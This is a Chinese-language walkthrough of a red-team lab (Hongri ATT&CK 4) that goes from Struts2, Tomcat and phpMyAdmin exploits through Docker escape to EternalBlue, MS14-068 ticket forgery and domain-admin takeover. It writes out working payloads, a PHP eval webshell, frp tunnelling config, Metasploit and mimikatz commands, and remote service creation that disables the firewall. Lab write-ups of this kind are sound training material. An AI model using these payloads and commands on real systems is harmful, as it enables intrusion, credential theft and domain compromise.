红日ATT&CK红队实战(四)
项目拓扑
项目搭建
将如下4个容器启动即可。
外网打点
端口扫描
Struts2框架漏洞
首先来看2001端口,发现是一个文件上传,分析编程语言,发现是java,尝试直接上传,失败。
查看页面源代码,发现标题名称,搜索以下相关漏洞,但是不知道具体是哪个版本的,所以下载个工具扫描一下
# 编译为可执行文件
go build
# 使用方法
./ST2G --url http://192.168.3.227:2001/ --mode exec --vn 45 --cmd "whoami"
可以运行反弹 shell 命令获取 shell
CVE-2017-12615
接下来看看2002端口,准备尝试看一下401认证是否存在弱口令,但是拒绝访问,直接所有相关版本漏洞。
这里直接上传是失败的,需要进行绕过,通过尝试,这里使用 / 是可以绕过的
使用冰蝎成功连接。
组合拳漏洞(phpmyadmin未授权 + CVE-2018-12613)
最后再来看看2003端口,发现直接是一个未授权访问,但是我们还需要获取getshell,再来看看有其他可以利用的漏洞吗
payload:http://192.168.3.227:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
查询语句,会保存到/tmp目录下的session文件种,包含对应的session文件,成功获取到webshell。
select '<?php file_put_contents("shell.php","<?php @eval($_POST[cmd])?>");?>';
查看当前权限,发现是root,查看ifconfig,但是没有这个命令,而且是以/bin/sh运行的
查看根目录,发现存在.dockerenv文件,所以当前处于docker环境中。
容器逃逸
尝试docker逃逸,成功逃逸到宿主机
mkdir /test
mount /dev/sda1 /test
现在虽然成功逃逸到宿主机,但是不好操作,尝试通过ssh连接获取到权限。
成功获取到ubuntu用户密码
权限还是ubuntu用户,但是可以直接使用sudo,sudo -s
即可提升为root权限。
内网渗透
查看IP地址信息,存在双网卡192.168.3.227,192.168.183.128,尝试扫描一下192.168.183.0/24是否有其他主机存活。
发现如下信息
192.168.183.129 Windows 7 MS17-010
192.168.183.130 Windows Server 2008 MS17-010 demo.com
上线msfconsole
搭建frp隧道
[common]
bind_port = 7000
[common]
server_addr = 192.168.3.171
server_port = 7000
[socks5_proxy]
type = tcp
remote_port = 1081
plugin = socks5
使用永恒之蓝进行攻击,第一次失败了,再试了一下,成功获取到session
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
setg proxies socks5:127.0.0.1:1081
set rhosts 192.168.183.129
迁移进程,以免后门被终止掉。
尝试攻击第二台主机,但是失败了。
查看ubuntu那台主机的历史命令记录,发现了域用户douser和密码Dotest123
开启3389端口,尝试远程桌面登陆域用户,但是无法登陆
# 注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 使用msf模块开启3389端口
run post/windows/manage/enable_rdp
切换shell命令行,来到douser用户桌面目录下,有mimikatz,直接使用来抓取域用户的SID
MS14-068获取域控权限
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
未添加票据时,无法访问域控的C盘
dir \\WIN-ENS2VR5TR3N\c$
添加票据
privilege::debug
kerberos::purge # 清除票据
kerberos::ptc TGT_douser@demo.com.ccache # 注入伪造的票据
此时,已经可以访问到域控
关闭防火墙
netsh sdvfirewall set allprofiles state off
思路:尝试使用psexec来获取域控的cmd会话,从而添加一个新的域管理员用户,开启3389即可登陆,但是这里无法获取到域控的cmd会话。
换一种方法,生成正向攻击载荷,通过WIN7上传到域控的C盘
copy b.exe \\WIN-ENS2VR5TR3N\c$
# 关闭域控的防火墙
sc \\WIN-ENS2VR5TR3N create disablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start disablefirewall
sc \\WIN-ENS2VR5TR3N create bind binpath= "c:\b.exe"
sc \\WIN-ENS2VR5TR3N start bind
监听获取到域控的session
net user test abc123! /add /domain # 添加test用户
net group "domain admins" test /add /domain # 把 test 用户添加进域管理员组
net group "domain admins" /domain # 查看域管理员
开启域控的3389端口,使用新创建的域管理员用户成功登陆。